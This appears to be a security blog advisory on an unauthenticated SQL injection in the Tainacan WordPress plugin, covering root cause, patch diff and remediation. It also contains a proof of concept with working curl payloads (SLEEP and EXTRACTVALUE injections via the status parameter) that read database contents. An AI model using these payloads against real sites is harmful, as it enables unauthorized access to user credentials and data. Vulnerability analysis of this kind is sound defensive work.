Tainacan WordPress plugin banner

CVE-2026-42740: Tainacan Unauthenticated SQL Injection (CVSS 7.5)

Updated 7 min read

CVE-2026-42740 is a CVSS 7.5 (High) unauthenticated SQL injection vulnerability in the Tainacan WordPress plugin. An attacker with no account can send a crafted HTTP request to a public REST API endpoint and extract sensitive data from the database — including user credentials, post content, and metadata.

Vulnerability Summary

FieldValue
Plugin NameTainacan
Plugin Slugtainacan
CVE IDCVE-2026-42740
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated SQL Injection
Affected Versions<= 1.0.3
Patched Version1.1.0
PublishedMay 28, 2026
Researcherhhhai
Wordfence AdvisoryLink

Description

The Tainacan plugin is a digital repository management tool built for WordPress. It provides REST API endpoints to query items, facets, and metadata. These endpoints are publicly accessible for any collection with public visibility.

In versions up to and including 1.0.3, the status parameter accepted by the Items and Facets REST API endpoints is not sanitized before use. The plugin maps this parameter directly to post_status in a WP_Query call. The resulting SQL query string is then embedded as a raw subquery in a second SQL statement — without additional escaping. An unauthenticated attacker can exploit this to append extra SQL and read arbitrary data from the database.

Technical Analysis

Vulnerable Endpoint and Authentication

Two REST API endpoints are affected:

  • GET /wp-json/tainacan/v2/collection/{collection_id}/items
  • GET /wp-json/tainacan/v2/collection/{collection_id}/facets/{metadatum_id}

The facets endpoint uses this permission check (class-tainacan-rest-facets-controller.php, line 219):

public function get_items_permissions_check( $request ) {
    $metadatum_id = $request['metadatum_id'];
    $metadatum = $this->metadatum_repository->fetch($metadatum_id);

    if ($metadatum instanceof Entities\Metadatum) {
        return $metadatum->can_read();
    }
    return false;
}

The can_read() method in class-tainacan-repository.php (line 760) returns true for unauthenticated users when the associated post has a public status:

public function can_read( Entities\Entity $entity, $user = null ) {
    if ( is_null( $user ) ) {
        $user = get_current_user_id();
        if ( ! $user ) {
            $status = get_post_status($entity->get_id());
            $post_status_obj = get_post_status_object($status);
            return $post_status_obj->public; // true for public metadatums
        }
    }
    ...
}

Any visitor can access these endpoints for a site that has at least one public Tainacan collection.

Root Cause: Missing sanitize_callback on the status Parameter

The status parameter is defined in REST_Controller::get_wp_query_params() (class-tainacan-rest-controller.php, line 379) without a sanitize_callback:

$query_params['status'] = array(
    'description' => __("Limit result set to objects assigned one or more statuses.", 'tainacan'),
    'type'        => 'array',
    'items'       => array(
        'enum'    => array_merge(array_keys(get_post_stati()), array('any')),
        'type'    => 'string',
    ),
    // No sanitize_callback — arbitrary values pass through
);

Other parameters like search are properly protected:

$query_params['search'] = array(
    'description'       => __( 'Limit results to those matching a string.', 'tainacan' ),
    'type'              => 'string',
    'sanitize_callback' => 'sanitize_text_field', // protected
);

Without a sanitize_callback, the WordPress REST API does not enforce the items.enum constraint when status is sent as a raw string instead of an array. The arbitrary value bypasses validation entirely.

SQL Injection Path

In prepare_filters() (class-tainacan-rest-controller.php, line 165), the request value is mapped to the query argument with no sanitization:

$args[ $mapped_v ] = $request[ $mapped ];
// 'status' → 'post_status', no escaping applied

The unsanitized post_status value flows into fetch_all_metadatum_values() (class-tainacan-metadata.php). There, the plugin runs a WP_Query and captures its raw SQL string:

// class-tainacan-metadata.php, lines 1255-1259
add_filter('posts_pre_query', '__return_empty_array');
$items_query = $itemsRepo->fetch($args['items_filter'], $args['collection_id']);
$items_query = $items_query->request; // raw SQL string from WP_Query
remove_filter('posts_pre_query', '__return_empty_array');

This raw SQL string is then embedded directly as a subquery in a second $wpdb->prepare() call (lines 1295–1311):

$base_query = $wpdb->prepare(
    "FROM $wpdb->term_relationships tr
    INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id
    INNER JOIN $wpdb->terms t ON tt.term_id = t.term_id
    INNER JOIN ($items_query) as posts ON tr.object_id = posts.ID
    WHERE
    tt.parent = %d AND
    tt.taxonomy = %s
    $search_q
    ORDER BY t.name ASC",
    $args['parent_id'],
    $taxonomy_slug
);

$wpdb->prepare() only processes %d and %s tokens. Because $items_query is interpolated as a literal string, any user-controlled content inside it is injected directly into the final SQL statement without escaping.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and defensive purposes only. Do not use it against systems you do not own or have explicit permission to test.

Prerequisites: Tainacan version ≤ 1.0.3 installed and activated, with at least one public collection containing items.

Step 1 — Identify a public collection and metadatum

TARGET="https://target.example.com"

# List public collections
curl -s "$TARGET/wp-json/tainacan/v2/collections" | jq '[.[] | {id: .id, name: .name}]'

# List metadata for collection 1
curl -s "$TARGET/wp-json/tainacan/v2/collection/1/metadata" | jq '[.[] | {id: .id, name: .name}]'

Note the collection ID (e.g. 1) and a metadatum ID (e.g. 5).

Step 2 — Confirm the facets endpoint is publicly accessible

curl -s "$TARGET/wp-json/tainacan/v2/collection/1/facets/5" | jq '.values | length'
# A non-zero result or empty array confirms the endpoint is reachable without authentication

Step 3 — Trigger time-based blind SQL injection

Send a crafted status value via the facets endpoint’s current_query parameter:

# Inject a SLEEP payload; a response delay ≥ 5 seconds confirms SQL injection
curl -s -o /dev/null -w "%{time_total}" \
  "$TARGET/wp-json/tainacan/v2/collection/1/facets/5?current_query[status]=publish+AND+SLEEP(5)--+-"

Expected result: The HTTP response takes ≥ 5 seconds, confirming that user-controlled SQL is executed by the database server.

Step 4 — Extract sensitive data (error-based example)

# Extract the database version
curl -s "$TARGET/wp-json/tainacan/v2/collection/1/facets/5" \
  --get \
  --data-urlencode "current_query[status]=publish AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -"

Expected result: The database error message includes the MySQL version string in the response.

Verification

A successful exploit returns delayed HTTP responses (time-based) or database error messages containing extracted data (error-based). Both confirm that unauthenticated SQL injection is possible.

Patch Analysis

Version 1.1.0 fixes the vulnerability by adding a sanitize_callback to the status parameter definition in class-tainacan-rest-controller.php:

  $query_params['status'] = array(
      'description' => __("Limit result set to objects assigned one or more statuses.", 'tainacan'),
      'type'        => 'array',
      'items'       => array(
          'enum'    => array_merge(array_keys(get_post_stati()), array('any')),
          'type'    => 'string',
      ),
+     'sanitize_callback' => array( $this, 'tainacan_sanitize_post_statuses' ),
  );

The new method tainacan_sanitize_post_statuses() (also added in 1.1.0) validates every submitted status against WordPress’s registered post statuses:

public function tainacan_sanitize_post_statuses( $statuses, $request, $parameter ) {
    $statuses = wp_parse_slug_list( $statuses );
    $allowStatuses = array_values(get_post_stati([]));
    foreach ( $statuses as $status ) {
        if ( $status === 'any' ) {
            $allstatuses = get_post_stati(['internal' => false]);
            return array_values($allstatuses);
        } else {
            if(!in_array($status, $allowStatuses)) {
                return new \WP_Error(
                    'rest_forbidden_status',
                    __( 'Status is forbidden.', 'tainacan' ),
                    array( 'status' => rest_authorization_required_code() )
                );
            }
        }
    }
    return $statuses;
}

Any value not in get_post_stati() now returns a 401 error immediately. The injection payload never reaches WP_Query or the SQL subquery.

The fix addresses the root cause — it blocks the malicious value at the REST API layer, before any query is built. This is the correct approach: validate and reject invalid input early, rather than trying to sanitize it deeper in the stack.

Timeline

DateEvent
May 28, 2026Vulnerability publicly disclosed by Wordfence
June 1, 2026Advisory last updated
June 7, 2026Blog post published

Remediation

Update the Tainacan plugin to version 1.1.0 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find Tainacan and click Update Now
  3. Or download the latest version from wordpress.org/plugins/tainacan

If you cannot update right now, consider disabling the REST API for unauthenticated users as a temporary measure. However, this will break public-facing Tainacan functionality, so updating is strongly preferred.

References

  1. Wordfence Advisory
  2. Patchstack VDP
  3. Trac Changeset (1.0.3 → 1.1.0)
  4. CVE Record
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee